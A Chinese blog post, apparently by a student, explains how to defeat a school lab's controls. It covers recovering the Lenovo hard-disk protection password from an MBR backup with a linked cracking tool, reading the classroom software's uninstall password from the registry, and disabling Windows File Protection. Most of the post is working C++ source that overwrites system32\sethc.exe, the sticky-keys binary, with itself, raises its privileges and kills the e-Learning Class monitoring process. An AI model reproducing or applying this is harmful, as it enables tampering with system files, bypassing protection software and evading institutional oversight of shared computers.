接着 《[原]VC被控制时关闭极域电子教室、破解联想硬盘保护系统密码(上)》 的讨论。
首先说说怎么查看密码,用工具http://l5.yunpan.cn/lk/Q8FBhqALyPZ4W就可以了,网上也有下载的,但是我在学校机房测试的时候发现:“从LenRCClient.exe读取”这个选项不管用,虽然提示“找到进程,其PID为XXXX”。无奈,我试了试从硬盘读取,结果也不成,我只好把最后的希望寄托在“从MBR备份文件中读取”这一项了。但是MBR文件怎么弄呢?身边没有其他工具,只有一个360系统急救箱,它可帮了我大忙,我用它备份了MBR引导文件,然后点击“联想硬盘保护系统密码破解”软件的“从MBR备份文件中读取”的这一项,选择好我们刚才备份的MBR引导文件,试试,成功了!这标志着我们可以不使用清除MBR的方法来进行破解。(注:联想硬盘保护系统的默认密码应该是lenovo)
回到如何实现被控制时关闭极域电子教室。前面已经说到了粘滞键,我们就用粘滞键来进行摆脱控制。处理程序:(完整源码下载地址:1.360云盘 2.新浪微盘)
//include.h
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
void OnStart()
{
char szAppName[256]={0};
GetModuleFileName(NULL,szAppName,128);
if( strcmp(szAppName,"C:\\WINDOWS\\system32\\sethc.exe") )
{
CopyFile(szAppName,"C:\\WINDOWS\\system32\\sethc.exe",FALSE);
//CopyFile(szAppName,"C:\\WINDOWS\\system32\\dllcache\\sethc.exe",FALSE);
}
}
//main.cpp
#include "include.h"
int main()
{
OnStart();
HANDLE hToken; //提升进程权限
OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken );
TOKEN_PRIVILEGES tp;
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid );
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), NULL, NULL );
PROCESSENTRY32 pd; //进程数据(process data)
pd.dwSize=sizeof(pd); //初始化大小
HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //创建进程快照
BOOL choose=::Process32First(hProcessSnap,&pd); //查找进程
BOOL stdexe=FALSE; //先假设学生机进程不存在
while(choose)
{
if( ! strcmp(pd.szExeFile,"StudentMain.exe") ) //如果寻找到学生机进程
{
stdexe=TRUE; //找到了学生机进程
{
HANDLE std = OpenProcess( PROCESS_ALL_ACCESS , FALSE , pd.th32ProcessID); //获取进程句柄
if( ::TerminateProcess( std , 0 ) == FALSE ) //结束它
{
//结束进程失败时进行的处理
}
}
break;
}
choose=::Process32Next(hProcessSnap,&pd);//寻找下个进程,函数返回0,则没有进程可寻
}
if( stdexe == FALSE )
{
//没有找到进程时进行的处理
WinExec("C:\\Program Files\\TopDomain\\e-Learning Class\\StudentMain.exe",SW_SHOW); //此处应该替换成你们学校//极域电子教室的地址
}
return 0;
}
程序运行说明:
1.按Windows(徽标)+ R 组合键,弹出运行,输入gpedit.msc。然后选择双击“计算机配置”—“管理模板”—“系统”—“Windows文件保护”,右键“指定Windows 文件保护缓存位置”,点击“属性”(windows7下是“编辑”),点击“已禁用”。把“设置 Windows 文件保护扫描”用同样的方法设置成“已禁用”。
2.找到HKEY_LOCAL_MACHINE\SOFTWARE\TopDomain\e-learning Class Standard\1.00下的UninstallPasswd键,复制其键值。
3.右击右下角的小电脑图标,右击,点“设置”,提示输入密码,把你看到的输入进去,点确定,你会发现可以改设置
了。我们要先选择“组织学生关闭本进程”选项卡中的那一项的对勾去除。
4.运行该软件。在本文第三自然段的末尾有程序下载地址,那里面还有源代码。该源代码在VC++6.0下编译通过。不会编程的同学可以直接用Debug/Sethc.exe这个程序。该程序运行时会自动复制自身到C:\WINDOWS\system32\下,程序名是Sethc.exe。并且会自动关闭极域电子教室。
5.运行极域电子教室进行测试(按5下Shift并且把鼠标指针放到小电脑图标上,看看是否突然消失),如果程序没有关闭成功,那么在运行几次。
其实关闭极域电子教室还有其他好方法,例如向极域电子教室发送WM_QUERYENDSESSION消息,我正在实验……
如果有什么问题,可以联系我。E-Mail:sunnysab@yeah.net。
《[原]关于VC运行时关闭极域电子教室的改进方法》